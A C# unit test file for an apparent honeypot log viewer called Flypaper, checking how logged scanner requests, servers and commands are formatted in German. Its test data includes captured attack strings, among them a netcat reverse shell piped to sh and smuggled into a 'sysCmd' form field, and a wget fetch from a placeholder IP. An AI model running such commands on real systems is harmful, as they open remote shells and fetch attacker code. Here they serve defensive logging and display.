The column "Aufgerufen" hides the requested host and GET and names other methods; the top list counts a call across hosts. Changelog prepared for 0.11.2. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
45 lines
1.9 KiB
C#
45 lines
1.9 KiB
C#
using Flypaper.Web.Components.Shared;
|
|
using Shouldly;
|
|
|
|
namespace Flypaper.Tests.Web;
|
|
|
|
public sealed class FormattingTests
|
|
{
|
|
[Theory]
|
|
[InlineData("GET /boaform/admin/formLogin", "GET (ohne Host)/boaform/admin/formLogin")]
|
|
[InlineData("GET _/boaform/admin/formLogin", "GET (ohne Host)/boaform/admin/formLogin")]
|
|
[InlineData("GET _", "GET (ohne Host)")]
|
|
[InlineData("GET example.com/.env", "GET example.com/.env")]
|
|
[InlineData("GET _example.com/.env", "GET _example.com/.env")]
|
|
[InlineData(null, null)]
|
|
public void Shows_missing_host_explicitly(string? target, string? expected) =>
|
|
Formatting.Target(target).ShouldBe(expected);
|
|
|
|
[Theory]
|
|
[InlineData("GET 192.0.2.1/", "Startseite", null)]
|
|
[InlineData("GET example.com:8080/.env", "/.env", null)]
|
|
[InlineData("GET /?a=/b", "/?a=/b", null)]
|
|
[InlineData("OPTIONS h/", "Startseite", "fragt, was erlaubt ist")]
|
|
[InlineData("HEAD h/www.zip", "/www.zip", "prüft nur, ob es das gibt")]
|
|
[InlineData("POST h/wp-login.php", "/wp-login.php", "schickt Daten")]
|
|
[InlineData("PROPFIND h/", "Startseite", "PROPFIND")]
|
|
public void Describes_what_was_called_without_the_host(string target, string text, string? note)
|
|
{
|
|
var called = Formatting.Called(target);
|
|
|
|
called.Text.ShouldBe(text);
|
|
called.Note.ShouldBe(note);
|
|
}
|
|
|
|
[Theory]
|
|
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
|
|
[InlineData("bad.example", "bad.example")]
|
|
public void Names_the_port_of_a_server(string server, string expected) => Formatting.Server(server).ShouldBe(expected);
|
|
|
|
[Theory]
|
|
[InlineData("sysCmd=nc 192.0.2.7 4545|sh", "sysCmd", "nc 192.0.2.7 4545|sh")]
|
|
[InlineData("wget http://192.0.2.9/a?x=1", null, "wget http://192.0.2.9/a?x=1")]
|
|
public void Splits_the_form_field_from_the_command(string command, string? field, string text) =>
|
|
Formatting.CommandParts(command).ShouldBe((field, text));
|
|
}
|